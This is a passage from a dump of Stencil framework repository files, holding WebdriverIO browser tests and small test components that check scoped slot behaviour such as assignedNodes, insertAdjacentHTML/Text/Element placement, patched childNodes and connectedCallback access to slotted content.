expect(component.getSlotAssignedElements).toBeDefined();\n\n    let nodes = await component.getSlotAssignedElements();\n    expect(nodes).toBeDefined();\n    expect(nodes.length).toBe(1);\n    expect(nodes[0].outerHTML).toBe('<p>My initial slotted content.</p>');\n    component.removeChild(nodes[0]);\n\n    expect(await component.getSlotAssignedElements()).toHaveLength(0);\n    nodes = await component.getSlotAssignedElements({ flatten: true });\n    expect(nodes).toHaveLength(0);\n    expect(errorLogs.length).toEqual(1);\n\n    const div = document.createElement('div');\n    div.slot = 'nested-slot';\n    div.textContent = 'Nested slotted content';\n    component.appendChild(div);\n    expect(await component.getSlotAssignedElements()).toHaveLength(0);\n\n    nodes = await component.getSlotAssignedElements({ flatten: true });\n    expect(nodes).toHaveLength(0);\n    expect(errorLogs.length).toEqual(2);\n  });\n\n  it('tests assignedNodes method on a `<slot-fb>`', async () => {\n    const errorLogs: string[] = [];\n    console.error = (message) => errorLogs.push(message);\n\n    const component: any = document.querySelector('scoped-slot-assigned-methods');\n    expect(component.getSlotAssignedNodes).toBeDefined();\n\n    let nodes = await component.getSlotAssignedNodes();\n    expect(nodes).toBeDefined();\n    expect(nodes.length).toBe(2);\n    expect(nodes[0].outerHTML).toBe('<p>My initial slotted content.</p>');\n    component.removeChild(nodes[0]);\n\n    nodes = await component.getSlotAssignedNodes();\n    expect(nodes).toHaveLength(1);\n    expect(nodes[0].nodeValue).toBe('Plain text');\n    component.removeChild(nodes[0]);\n    expect(await component.getSlotAssignedNodes()).toHaveLength(0);\n\n    nodes = await component.getSlotAssignedNodes({ flatten: true });\n    expect(nodes).toHaveLength(0);\n    expect(errorLogs.length).toEqual(1);\n\n    const div = document.createElement('div');\n    div.slot = 'nested-slot';\n    div.textContent = 'Nested slotted content';\n    component.appendChild(div);\n    expect(await component.getSlotAssignedNodes()).toHaveLength(0);\n\n    nodes = await component.getSlotAssignedNodes({ flatten: true });\n    expect(nodes).toHaveLength(0);\n    expect(errorLogs.length).toEqual(2);\n  });\n\n  it('tests assignedElements / assignedNodes method on a plain slot (a text / comment node)', async () => {\n    const errorLogs: string[] = [];\n    console.error = (message) => errorLogs.push(message);\n\n    const component: any = document.querySelector('scoped-slot-assigned-methods');\n    expect(component.getSlotAssignedElements).toBeDefined();\n\n    const eles = await component.getSlotAssignedElements(undefined, true);\n    let nodes = await component.getSlotAssignedNodes(undefined, true);\n    expect(eles).toBeDefined();\n    expect(nodes).toBeDefined();\n    expect(nodes.length).toBe(1);\n    expect(eles.length).toBe(1);\n    expect(nodes[0].outerHTML).toBe('<div slot=\"plain-slot\">Plain slot content.</div>');\n    expect(eles[0].outerHTML).toBe('<div slot=\"plain-slot\">Plain slot content.</div>');\n    component.removeChild(nodes[0]);\n\n    expect(await component.getSlotAssignedElements(undefined, true)).toHaveLength(0);\n    expect(await component.getSlotAssignedNodes(undefined, true)).toHaveLength(0);\n    nodes = await component.getSlotAssignedElements({ flatten: true }, true);\n\n    expect(nodes).toHaveLength(0);\n    expect(errorLogs.length).toEqual(1);\n  });\n});\n"
  },
  {
    "path": "test/wdio/scoped-slot-assigned-methods/cmp.tsx",
    "content": "import { Component, h, Method } from '@stencil/core';\n\n@Component({\n  tag: 'scoped-slot-assigned-methods',\n  scoped: true,\n})\nexport class ScopedSlotAssignedMethods {\n  private fbSlot: HTMLSlotElement;\n  private plainSlot: HTMLSlotElement;\n\n  @Method()\n  async getSlotAssignedElements(opts?: { flatten: boolean }, getPlainSlot = false) {\n    if (getPlainSlot) {\n      return this.plainSlot.assignedElements(opts);\n    }\n    return this.fbSlot.assignedElements(opts);\n  }\n\n  @Method()\n  async getSlotAssignedNodes(opts?: { flatten: boolean }, getPlainSlot = false) {\n    if (getPlainSlot) {\n      return this.plainSlot.assignedNodes(opts);\n    }\n    return this.fbSlot.assignedNodes(opts);\n  }\n\n  render() {\n    return (\n      <div>\n        <slot\n          ref={(slot) => {\n            this.fbSlot = slot as HTMLSlotElement;\n          }}\n        >\n          <slot name=\"nested-slot\">Fallback content</slot>\n        </slot>\n        <slot name=\"plain-slot\" ref={(s) => (this.plainSlot = s as HTMLSlotElement)} />\n      </div>\n    );\n  }\n}\n"
  },
  {
    "path": "test/wdio/scoped-slot-child-insert-adjacent/cmp.test.tsx",
    "content": "import { Fragment, h } from '@stencil/core';\nimport { render } from '@wdio/browser-runner/stencil';\n\ndescribe('scoped-slot-child-insert-adjacent', () => {\n  let host: HTMLElement | undefined;\n  let parentDiv: HTMLDivElement | undefined;\n\n  beforeEach(async () => {\n    render({\n      template: () => (\n        <>\n          <scoped-slot-child-insert-adjacent>\n            <p>I am slotted and will receive a red background</p>\n          </scoped-slot-child-insert-adjacent>\n\n          <button type=\"button\" id=\"addInsertAdjacentHtmlBeforeEnd\">\n            add via insertAdjacentHTML (beforeend)\n          </button>\n          <button type=\"button\" id=\"addInsertAdjacentHtmlAfterBegin\">\n            add via insertAdjacentHTML (afterbegin)\n          </button>\n\n          <button type=\"button\" id=\"addInsertAdjacentTextBeforeEnd\">\n            add via insertAdjacentText (beforeend)\n          </button>\n          <button type=\"button\" id=\"addInsertAdjacentTextAfterBegin\">\n            add via insertAdjacentText (afterbegin)\n          </button>\n\n          <button type=\"button\" id=\"addInsertAdjacentElementBeforeEnd\">\n            add via insertAdjacentElement (beforeend)\n          </button>\n          <button type=\"button\" id=\"addInsertAdjacentElementAfterBegin\">\n            add via insertAdjacentElement (afterbegin)\n          </button>\n        </>\n      ),\n    });\n\n    await $('scoped-slot-child-insert-adjacent').waitForExist();\n    const scopedSlotChildInsertAdjacent = document.querySelector('scoped-slot-child-insert-adjacent');\n\n    // Event listeners for `insertAdjacentHtml`\n    await $('#addInsertAdjacentHtmlBeforeEnd').waitForExist();\n    const addInsertAdjacentHtmlBeforeEnd = document.querySelector('#addInsertAdjacentHtmlBeforeEnd');\n    addInsertAdjacentHtmlBeforeEnd.addEventListener('click', () => {\n      scopedSlotChildInsertAdjacent.insertAdjacentHTML(\n        'beforeend',\n        `<p>Added via insertAdjacentHTMLBeforeEnd. I should have a red background.</p>`,\n      );\n    });\n    const addInsertAdjacentHtmlAfterBegin = document.querySelector('#addInsertAdjacentHtmlAfterBegin');\n    addInsertAdjacentHtmlAfterBegin.addEventListener('click', () => {\n      scopedSlotChildInsertAdjacent.insertAdjacentHTML(\n        'afterbegin',\n        `<p>Added via insertAdjacentHTMLAfterBegin. I should have a red background.</p>`,\n      );\n    });\n\n    // Event listeners for `insertAdjacentText`\n    const addInsertAdjacentTextBeforeEnd = document.querySelector('#addInsertAdjacentTextBeforeEnd');\n    addInsertAdjacentTextBeforeEnd.addEventListener('click', () => {\n      scopedSlotChildInsertAdjacent.insertAdjacentText(\n        'beforeend',\n        `Added via insertAdjacentTextBeforeEnd. I should have a red background.`,\n      );\n    });\n    const addInsertAdjacentTextAfterBegin = document.querySelector('#addInsertAdjacentTextAfterBegin');\n    addInsertAdjacentTextAfterBegin.addEventListener('click', () => {\n      scopedSlotChildInsertAdjacent.insertAdjacentText(\n        'afterbegin',\n        `Added via insertAdjacentTextAfterBegin. I should have a red background.`,\n      );\n    });\n\n    // Event listeners for `insertAdjacentElement`\n    const addInsertAdjacentElementBeforeEnd = document.querySelector('#addInsertAdjacentElementBeforeEnd');\n    addInsertAdjacentElementBeforeEnd.addEventListener('click', () => {\n      const el = document.createElement('span');\n      el.textContent = 'Added via insertAdjacentElementBeforeEnd. I should have a red background.';\n\n      scopedSlotChildInsertAdjacent.insertAdjacentElement('beforeend', el);\n    });\n    const addInsertAdjacentElementAfterBegin = document.querySelector('#addInsertAdjacentElementAfterBegin');\n    addInsertAdjacentElementAfterBegin.addEventListener('click', () => {\n      const el = document.createElement('span');\n      el.textContent = 'Added via insertAdjacentElementAfterBegin. I should have a red background.';\n\n      scopedSlotChildInsertAdjacent.insertAdjacentElement('afterbegin', el);\n    });\n\n    host = document.querySelector('scoped-slot-child-insert-adjacent');\n    parentDiv = host.querySelector('#parentDiv');\n  });\n\n  describe('insertAdjacentHtml', () => {\n    it('slots elements w/ \"beforeend\" position', async () => {\n      expect(parentDiv).toBeDefined();\n\n      // before we hit the button to call `insertAdjacentHTML`, we should only have one <p> elm\n      let paragraphElms = host.querySelectorAll('p');\n      const firstParagraph = paragraphElms[0];\n      expect(firstParagraph.textContent).toBe('I am slotted and will receive a red background');\n      expect(firstParagraph.parentElement).toBe(parentDiv);\n      expect((getComputedStyle(parentDiv) as any)['background-color']).toBe('rgb(255, 0, 0)');\n\n      // insert an additional <p> elm\n      const addButton = $('#addInsertAdjacentHtmlBeforeEnd');\n      await addButton.click();\n\n      // now we should have 2 <p> elms\n      paragraphElms = host.querySelectorAll('p');\n      expect(paragraphElms.length).toBe(2);\n\n      // the inserted elm should:\n      // 1. have the <div> as it's parent\n      // 2. the <div> should have the same style (which gets acquired by both <p> elms)\n      const secondParagraph = paragraphElms[1];\n      expect(secondParagraph.textContent).toBe(\n        'Added via insertAdjacentHTMLBeforeEnd. I should have a red background.',\n      );\n      expect(secondParagraph.parentElement).toBe(parentDiv);\n      expect((getComputedStyle(parentDiv) as any)['background-color']).toBe('rgb(255, 0, 0)');\n    });\n\n    it('slots elements w/ \"afterbegin\" position', async () => {\n      expect(parentDiv).toBeDefined();\n\n      // before we hit the button to call `insertAdjacentHTML`, we should only have one <p> elm\n      let paragraphElms = host.querySelectorAll('p');\n      const firstParagraph = paragraphElms[0];\n      expect(firstParagraph.textContent).toBe('I am slotted and will receive a red background');\n      expect(firstParagraph.parentElement).toBe(parentDiv);\n      expect((getComputedStyle(parentDiv) as any)['background-color']).toBe('rgb(255, 0, 0)');\n\n      // insert an additional <p> elm\n      const addButton = $('#addInsertAdjacentHtmlAfterBegin');\n      await addButton.click();\n\n      // now we should have 2 <p> elms\n      paragraphElms = host.querySelectorAll('p');\n      expect(paragraphElms.length).toBe(2);\n\n      // the inserted elm should:\n      // 1. have the <div> as it's parent\n      // 2. the <div> should have the same style (which gets acquired by both <p> elms)\n      const insertedParagraph = paragraphElms[0];\n      expect(insertedParagraph.textContent).toBe(\n        'Added via insertAdjacentHTMLAfterBegin. I should have a red background.',\n      );\n      expect(insertedParagraph.parentElement).toBe(parentDiv);\n      expect((getComputedStyle(parentDiv) as any)['background-color']).toBe('rgb(255, 0, 0)');\n    });\n  });\n\n  describe('insertAdjacentText', () => {\n    it('slots elements w/ \"beforeend\" position', async () => {\n      expect(parentDiv).toBeDefined();\n\n      expect(parentDiv.textContent).toBe('Here is my slot. It is red.I am slotted and will receive a red background');\n      expect((getComputedStyle(parentDiv) as any)['background-color']).toBe('rgb(255, 0, 0)');\n\n      // insert an additional text node\n      const addButton = $('#addInsertAdjacentTextBeforeEnd');\n      await addButton.click();\n\n      expect(parentDiv.textContent).toBe(\n        'Here is my slot. It is red.I am slotted and will receive a red backgroundAdded via insertAdjacentTextBeforeEnd. I should have a red background.',\n      );\n      expect((getComputedStyle(parentDiv) as any)['background-color']).toBe('rgb(255, 0, 0)');\n    });\n\n    it('slots elements w/ \"afterbegin\" position', async () => {\n      expect(parentDiv).toBeDefined();\n\n      expect(parentDiv.textContent).toBe('Here is my slot. It is red.I am slotted and will receive a red background');\n      expect((getComputedStyle(parentDiv) as any)['background-color']).toBe('rgb(255, 0, 0)');\n\n      // insert an additional text node\n      const addButton = $('#addInsertAdjacentTextAfterBegin');\n      await addButton.click();\n\n      expect(parentDiv.textContent).toBe(\n        'Here is my slot. It is red.Added via insertAdjacentTextAfterBegin. I should have a red background.I am slotted and will receive a red background',\n      );\n      expect((getComputedStyle(parentDiv) as any)['background-color']).toBe('rgb(255, 0, 0)');\n    });\n  });\n\n  describe('insertAdjacentElement', () => {\n    it('slots elements w/ \"beforeend\" position', async () => {\n      expect(parentDiv).toBeDefined();\n\n      let children = parentDiv.children;\n      expect(children.length).toBe(1);\n      expect(children[0].textContent).toBe('I am slotted and will receive a red background');\n      expect((getComputedStyle(parentDiv) as any)['background-color']).toBe('rgb(255, 0, 0)');\n\n      const addButton = $('#addInsertAdjacentElementBeforeEnd');\n      await addButton.click();\n\n      children = parentDiv.children;\n      expect(children.length).toBe(2);\n      expect(children[1].textContent).toBe('Added via insertAdjacentElementBeforeEnd. I should have a red background.');\n      expect((getComputedStyle(parentDiv) as any)['background-color']).toBe('rgb(255, 0, 0)');\n    });\n\n    it('slots elements w/ \"afterBegin\" position', async () => {\n      expect(parentDiv).toBeDefined();\n\n      let children = parentDiv.children;\n      expect(children.length).toBe(1);\n      expect(children[0].textContent).toBe('I am slotted and will receive a red background');\n      expect((getComputedStyle(parentDiv) as any)['background-color']).toBe('rgb(255, 0, 0)');\n\n      const addButton = $('#addInsertAdjacentElementAfterBegin');\n      await addButton.click();\n\n      children = parentDiv.children;\n      expect(children.length).toBe(2);\n      expect(children[0].textContent).toBe(\n        'Added via insertAdjacentElementAfterBegin. I should have a red background.',\n      );\n      expect((getComputedStyle(parentDiv) as any)['background-color']).toBe('rgb(255, 0, 0)');\n    });\n  });\n});\n"
  },
  {
    "path": "test/wdio/scoped-slot-child-insert-adjacent/cmp.tsx",
    "content": "import { Component, h } from '@stencil/core';\n\n@Component({\n  tag: 'scoped-slot-child-insert-adjacent',\n  scoped: true,\n})\nexport class ScopedSlotChildInsertAdjacent {\n  render() {\n    return (\n      <div id=\"parentDiv\" style={{ background: 'red' }}>\n        Here is my slot. It is red.\n        <slot></slot>\n      </div>\n    );\n  }\n}\n"
  },
  {
    "path": "test/wdio/scoped-slot-children/cmp-root.tsx",
    "content": "import { Component, h, Host } from '@stencil/core';\n\n@Component({\n  tag: 'scoped-slot-children',\n  scoped: true,\n})\nexport class ScopedSlotChildren {\n  render() {\n    return (\n      <Host>\n        <p>internal text 1</p>\n        <slot name=\"second-slot\" />\n        <div>\n          <slot>This is fallback text</slot>\n        </div>\n        <p>internal text 2</p>\n      </Host>\n    );\n  }\n}\n"
  },
  {
    "path": "test/wdio/scoped-slot-children/cmp.test.tsx",
    "content": "import { h } from '@stencil/core';\nimport { render } from '@wdio/browser-runner/stencil';\n\ndescribe('scoped-slot-children', function () {\n  const nodeOrEleContent = (node: Node | Element) => {\n    return (node as Element)?.outerHTML || node?.nodeValue?.trim();\n  };\n\n  beforeEach(async () => {\n    render({\n      template: () => (\n        <scoped-slot-children>\n          Some default slot, slotted text\n          <span>a default slot, slotted element</span>\n          <div slot=\"second-slot\">\n            a second slot, slotted element\n            <span> nested element in the second slot</span>\n          </div>\n        </scoped-slot-children>\n      ),\n    });\n  });\n\n  it('patches `childNodes` to return only nodes that have been slotted', async () => {\n    await $('scoped-slot-children').waitForStable();\n\n    const childNodes = () => document.querySelector('scoped-slot-children').childNodes;\n    const innerChildNodes = () =>\n      (document.querySelector('scoped-slot-children') as any).__childNodes as NodeListOf<ChildNode>;\n\n    expect(nodeOrEleContent(childNodes()[0])).toBe(`Some default slot, slotted text`);\n    expect(nodeOrEleContent(childNodes()[1])).toBe(`<span>a default slot, slotted element</span>`);\n    expect(nodeOrEleContent(childNodes()[2])).toBe(\n      `<div slot=\"second-slot\">a second slot, slotted element<span> nested element in the second slot</span></div>`,\n    );\n\n    expect(nodeOrEleContent(innerChildNodes()[4])).toBe(`<p class=\"sc-scoped-slot-children\">internal text 1</p>`);\n\n    childNodes()[0].remove();\n    expect(nodeOrEleContent(childNodes()[0])).toBe(`<span>a default slot, slotted element</span>`);\n\n    expect(nodeOrEleContent(innerChildNodes()[4])).toBe(`<p class=\"sc-scoped-slot-children\">internal text 1</p>`);\n\n    childNodes()[0].remove();\n    expect(nodeOrEleContent(childNodes()[0])).toBe(\n      `<div slot=\"second-slot\">a second slot, slotted element<span> nested element in the second slot</span></div>`,\n    );\n\n    expect(nodeOrEleContent(innerChildNodes()[4])).toBe(`<p class=\"sc-scoped-slot-children\">internal text 1</p>`);\n\n    childNodes()[0].remove();\n    expect(nodeOrEleContent(childNodes()[0])).toBe(undefined);\n\n    expect(nodeOrEleContent(innerChildNodes()[4])).toBe(`<p class=\"sc-scoped-slot-children\">internal text 1</p>`);\n  });\n\n  it('patches `children` to return only elements that have been slotted', async () => {\n    await $('scoped-slot-children').waitForStable();\n\n    const children = () => document.querySelector('scoped-slot-children').children;\n    const innerChildren = () =>\n      (document.querySelector('scoped-slot-children') as any).__children as NodeListOf<Element>;\n\n    expect(nodeOrEleContent(children()[0])).toBe(`<span>a default slot, slotted element</span>`);\n    expect(nodeOrEleContent(children()[1])).toBe(\n      `<div slot=\"second-slot\">a second slot, slotted element<span> nested element in the second slot</span></div>`,\n    );\n    expect(nodeOrEleContent(children()[2])).toBe(undefined);\n\n    expect(nodeOrEleContent(innerChildren()[0])).toBe(`<p class=\"sc-scoped-slot-children\">internal text 1</p>`);\n\n    children()[0].remove();\n    expect(nodeOrEleContent(children()[0])).toBe(\n      `<div slot=\"second-slot\">a second slot, slotted element<span> nested element in the second slot</span></div>`,\n    );\n    expect(nodeOrEleContent(innerChildren()[0])).toBe(`<p class=\"sc-scoped-slot-children\">internal text 1</p>`);\n\n    children()[0].remove();\n    expect(nodeOrEleContent(children()[0])).toBe(undefined);\n    expect(nodeOrEleContent(innerChildren()[0])).toBe(`<p class=\"sc-scoped-slot-children\">internal text 1</p>`);\n  });\n\n  it('patches `firstChild` to return only the first slotted node', async () => {\n    await $('scoped-slot-children').waitForStable();\n    expect(nodeOrEleContent(document.querySelector('scoped-slot-children').firstChild)).toBe(\n      `Some default slot, slotted text`,\n    );\n\n    document.querySelector('scoped-slot-children').firstChild.remove();\n    expect(nodeOrEleContent(document.querySelector('scoped-slot-children').firstChild)).toBe(\n      `<span>a default slot, slotted element</span>`,\n    );\n\n    document.querySelector('scoped-slot-children').firstChild.remove();\n    expect(nodeOrEleContent(document.querySelector('scoped-slot-children').firstChild)).toBe(\n      `<div slot=\\\"second-slot\\\">a second slot, slotted element<span> nested element in the second slot</span></div>`,\n    );\n\n    document.querySelector('scoped-slot-children').firstChild.remove();\n    expect(nodeOrEleContent(document.querySelector('scoped-slot-children').firstChild)).toBe(undefined);\n  });\n\n  it('patches `lastChild` to return only the last slotted node', async () => {\n    await $('scoped-slot-children').waitForStable();\n    expect(nodeOrEleContent(document.querySelector('scoped-slot-children').lastChild)).toBe(\n      `<div slot=\"second-slot\">a second slot, slotted element<span> nested element in the second slot</span></div>`,\n    );\n\n    document.querySelector('scoped-slot-children').lastChild.remove();\n    expect(nodeOrEleContent(document.querySelector('scoped-slot-children').lastChild)).toBe(\n      `<span>a default slot, slotted element</span>`,\n    );\n\n    document.querySelector('scoped-slot-children').lastChild.remove();\n    expect(nodeOrEleContent(document.querySelector('scoped-slot-children').lastChild)).toBe(\n      `Some default slot, slotted text`,\n    );\n\n    document.querySelector('scoped-slot-children').lastChild.remove();\n    expect(nodeOrEleContent(document.querySelector('scoped-slot-children').lastChild)).toBe(undefined);\n  });\n});\n"
  },
  {
    "path": "test/wdio/scoped-slot-connectedcallback/cmp-child.tsx",
    "content": "import { Component, Element, h } from '@stencil/core';\n\n@Component({\n  tag: 'scoped-slot-connectedcallback-child',\n  shadow: false,\n})\nexport class ScopedSlotConnectedCallbackChild {\n  @Element() el: HTMLElement;\n\n  connectedCallback() {\n    // Check if slotted content is available in connectedCallback\n    const slottedContent = this.el.querySelector('#slotted-content');\n    if (slottedContent) {\n      this.el.setAttribute('data-connected-slot-available', 'true');\n    } else {\n      this.el.setAttribute('data-connected-slot-available', 'false');\n    }\n  }\n\n  componentWillLoad() {\n    // Also check in componentWillLoad for comparison\n    const slottedContent = this.el.querySelector('#slotted-content');\n    if (slottedContent) {\n      this.el.setAttribute('data-willload-slot-available', 'true');\n    } else {\n      this.el.setAttribute('data-willload-slot-available', 'false');\n    }\n  }\n\n  render() {\n    return (\n      <div class=\"wrapper\">\n        Before slot | <slot /> | After slot\n      </div>\n    );\n  }\n}\n"
  },
  {
    "path": "test/wdio/scoped-slot-connectedcallback/cmp-middle.tsx",
    "content": "import { Component, h } from '@stencil/core';\n\n@Component({\n  tag: 'scoped-slot-connectedcallback-middle',\n  shadow: false,\n})\nexport class ScopedSlotConnectedCallbackMiddle {\n  render() {\n    return (\n      <scoped-slot-connectedcallback-child>\n        <span id=\"slotted-content\">Slotted Content</span>\n      </scoped-slot-connectedcallback-child>\n    );\n  }\n}\n"
  },
  {
    "path": "test/wdio/scoped-slot-connectedcallback/cmp-parent.tsx",
    "content": "import { Component, h } from '@stencil/core';\n\n@Component({\n  tag: 'scoped-slot-connectedcallback-parent',\n  shadow: false,\n})\nexport class ScopedSlotConnectedCallbackParent {\n  render() {\n    return <scoped-slot-connectedcallback-middle />;\n  }\n}\n"
  },
  {
    "path": "test/wdio/scoped-slot-connectedcallback/cmp.test.tsx",
    "content": "import { h } from '@stencil/core';\nimport { render } from '@wdio/browser-runner/stencil';\nimport { $, browser, expect } from '@wdio/globals';\n\nimport { setupIFrameTest } from '../util.js';\n\ndescribe('scoped-slot-connectedcallback', function () {\n  describe('lazy load (dist output)', () => {\n    beforeEach(() => {\n      render({\n        components: [],\n        template: () => <scoped-slot-connectedcallback-parent />,\n      });\n    });\n\n    it('should have slotted content available in connectedCallback', async () => {\n      await $('scoped-slot-connectedcallback-child').waitForExist();\n\n      const child = await $('scoped-slot-connectedcallback-child');\n      const connectedAttr = await child.getAttribute('data-connected-slot-available');\n      const willLoadAttr = await child.getAttribute('data-willload-slot-available');\n\n      // Both connectedCallback and componentWillLoad should have access to slotted content\n      expect(connectedAttr).toBe('true');\n      expect(willLoadAttr).toBe('true');\n    });\n\n    it('should render slotted content correctly', async () => {\n      await $('scoped-slot-connectedcallback-child').waitForExist();\n\n      const slottedContent = await $('#slotted-content');\n      await expect(slottedContent).toBeExisting();\n      await expect(slottedContent).toHaveText('Slotted Content');\n\n      const wrapper = await $('.wrapper');\n      const text = await wrapper.getText();\n      expect(text).toContain('Before slot');\n      expect(text).toContain('Slotted Content');\n      expect(text).toContain('After slot');\n    });\n  });\n\n  describe('dist-custom-elements output', () => {\n    let doc: Document;\n\n    beforeEach(async () => {\n      await setupIFrameTest('/scoped-slot-connectedcallback/custom-element.html', 'custom-elements-iframe');\n      const frameEle: HTMLIFrameElement = document.querySelector('iframe#custom-elements-iframe');\n      doc = frameEle.contentDocument;\n\n      // Render the component inside the iframe\n      const parent = doc.createElement('scoped-slot-connectedcallback-parent');\n      doc.body.appendChild(parent);\n\n      // Wait for component to be ready\n      await browser.waitUntil(() => Boolean(doc.querySelector('scoped-slot-connectedcallback-child')));\n    });\n\n    it('should have slotted content available in connectedCallback', async () => {\n      const child = doc.querySelector('scoped-slot-connectedcallback-child');\n      const connectedAttr = child.getAttribute('data-connected-slot-available');\n      const willLoadAttr = child.getAttribute('data-willload-slot-available');\n\n      // Both connectedCallback and componentWillLoad should have access to slotted content\n      expect(connectedAttr).toBe('true');\n      expect(willLoadAttr).toBe('true');\n    });\n\n    it('should render slotted content correctly', async () => {\n      const slottedContent = doc.querySelector('#slotted-content');\n      expect(slottedContent).toBeTruthy();\n      expect(slottedContent.textContent).toBe('Slotted Content');\n\n      const wrapper = doc.querySelector('.wrapper');\n      const text = wrapper.textContent;\n      expect(text).toContain('Before slot');\n      expect(text).toContain('Slotted Content');\n      expect(text).toContain('After slot');\n    });\n  });\n});\n"
  },
  {
    "path": "test/wdio/scoped-slot-connectedcallback/custom-element.html",
    "content": "<html>\n<head>\n  <title>Scoped Slot ConnectedCallback - dist-custom-elements output</title>\n  <script type=\"module\">\n    import { defineCustomElement as childDefine } from '/test-components/scoped-slot-connectedcallback-child.js';\n    import { defineCustomElement as middleDefine } from '/test-components/scoped-slot-connectedcallback-middle.js';\n    import { defineCustomElement as parentDefine } from '/test-components/scoped-slot-connectedcallback-parent.js';\n\n    childDefine();\n    middleDefine();\n    parentDefine();\n  </script>\n</head>\n<body>\n\n</body>\n</html>\n"
  },
  {
    "path": "test/wdio/scoped-slot-content-hide/cmp.test.tsx",
    "content": "import { Fragment, h } from '@stencil/core';\nimport { render } from '@wdio/browser-runner/stencil';\nimport { $, browser } from '@wdio/globals';\n\ndescribe('scoped-slot-content-hide', () => {\n  beforeEach(async () => {\n    render({\n      template: () => (\n        <>\n          <scoped-slot-content-hide use-slot={false}>\n            testing\n            <div class=\"inside-slot\">inside slot</div>\n          </scoped-slot-content-hide>\n        </>\n      ),\n    });\n\n    await $('scoped-slot-content-hide').waitForExist();\n  });\n\n  /**\n   * Helper function to retrieve custom element used by this test suite.\n   * @returns the custom element\n   */\n  async function getComponent(): Promise<HTMLScopedSlotContentHideElement> {\n    const customElementSelector = 'scoped-slot-content-hide';\n    const component: HTMLScopedSlotContentHideElement = document.querySelector(customElementSelector);\n    if (!component) {\n      throw new Error(`Unable to find element using query selector '${customElementSelector}'`);\n    }\n    return component;\n  }\n\n  it('can toggle content visibility according to the presence of a slot', async () => {\n    const root = await getComponent();\n    const slottedDiv = root.querySelector('.inside-slot') as HTMLElement;\n\n    // Initially useSlot is false, so content should be hidden\n    expect(root.textContent).not.toContain('testing');\n    expect(slottedDiv).toBeDefined();\n    expect(slottedDiv.hidden).toBe(true);\n\n    // Enable the slot\n    root.useSlot = true;\n    await browser.pause(100);\n\n    expect(root.textContent).toContain('testing');\n    expect(slottedDiv.hidden).toBe(false);\n\n    // Disable the slot again\n    root.useSlot = false;\n    await browser.pause(100);\n\n    expect(root.textContent).not.toContain('testing');\n    expect(slottedDiv.hidden).toBe(true);\n\n    // Enable the slot again\n    root.useSlot = true;\n    await browser.pause(100);\n\n    expect(root.textContent).toContain('testing');\n    expect(slottedDiv.hidden).toBe(false);\n  });\n});\n"
  },
  {
    "path": "test/wdio/scoped-slot-content-hide/cmp.tsx",
    "content": "import { Component, h, Host, Prop } from '@stencil/core';\n\n@Component({\n  tag: 'scoped-slot-content-hide',\n  scoped: true,\n})\nexport class ScopedSlotContentHide {\n  @Prop({ mutable: true }) useSlot = false;\n\n  render() {\n    return (\n      <Host>\n        <p>Test Component</p>\n        {this.useSlot && <slot />}\n      </Host>\n    );\n  }\n}\n"
  },
  {
    "path": "test/wdio/scoped-slot-in-slot/child.tsx",
    "content": "import { Component, h } from '@stencil/core';\n\n@Component({\n  tag: 'ion-child',\n  scoped: true,\n})\nexport class Child {\n  render() {\n    return (\n      <div style={{ display: 'flex', gap: '13px' }}>\n        <slot name=\"suffix\" />\n      </div>\n    );\n  }\n}\n"
  },
  {
    "path": "test/wdio/scoped-slot-in-slot/cmp.test.tsx",
    "content": "import { h } from '@stencil/core';\nimport { render } from '@wdio/browser-runner/stencil';\n\ndescribe('scoped-slot-in-slot', () => {\n  let host: HTMLElement | undefined;\n\n  beforeEach(async () => {\n    render({\n      template: () => (\n        <ion-host>\n          <span slot=\"label\">Label text</span>\n          <span slot=\"suffix\">Suffix text</span>\n          <span slot=\"message\">Message text</span>\n        </ion-host>\n      ),\n    });\n    host = document.querySelector('ion-host');\n  });\n\n  it('correctly renders content slotted through multiple levels of nested slots', async () => {\n    expect(host).toBeDefined();\n\n    // Check the parent content\n    await browser.waitUntil(async () => {\n      const parent = host.querySelector('ion-parent');\n      return parent && parent.firstElementChild;\n    });\n    const parent = host.querySelector('ion-parent');\n    expect(parent.firstElementChild.tagName).toBe('LABEL');\n\n    // Ensure the label slot content made it through\n    const span = parent.firstElementChild.firstElementChild;\n    expect(span).toBeDefined();\n    expect(span.tagName).toBe('SPAN');\n    expect(span.textContent).toBe('Label text');\n\n    // Ensure the message slot content made it through\n    expect(parent.lastElementChild.tagName).toBe('SPAN');\n    expect(parent.lastElementChild.textContent).toBe('Message text');\n\n    // Check the child content\n    const child = parent.querySelector('ion-child');\n    expect(child).toBeDefined();\n\n    // Ensure the suffix slot content made it through\n    await browser.waitUntil(async () => child.firstElementChild.firstElementChild);\n    expect(child.firstElementChild.firstElementChild.tagName).toBe('SPAN');\n    expect(child.firstElementChild.firstElementChild.textContent).toBe('Suffix text');\n  });\n});\n"
  },
  {
    "path": "test/wdio/scoped-slot-in-slot/host.tsx",
    "content": "import { Component, h } from '@stencil/core';\n\n@Component({\n  tag: 'ion-host',\n  scoped: true,\n})\nexport class Host {\n  render() {\n    return (\n      <div>\n        <ion-parent>\n          <slot name=\"label\" slot=\"label\" />\n          <slot name=\"suffix\" slot=\"suffix\" />\n          <slot name=\"message\" slot=\"message\" />\n        </ion-parent>\n      </div>\n    );\n  }\n}\n"
  },
  {
    "path": "test/wdio/scoped-slot-in-slot/parent.tsx",
    "content": "import { Component, Fragment, h } from '@stencil/core';\n\n@Component({\n  tag: 'ion-parent',\n  scoped: true,\n})\nexport class Parent {\n  render() {\n    return (\n      <Fragment>\n        <label>\n          <slot name=\"label\" />\n        </label>\n        <ion-child>\n          <slot name=\"suffix\" slot=\"suffix\" />\n        </ion-child>\n        <slot name=\"message\" />\n      </Fragment>\n    );\n  }\n}\n"
  },
  {
    "path": "test/wdio/scoped-slot-insertbefore/cmp.test.tsx",
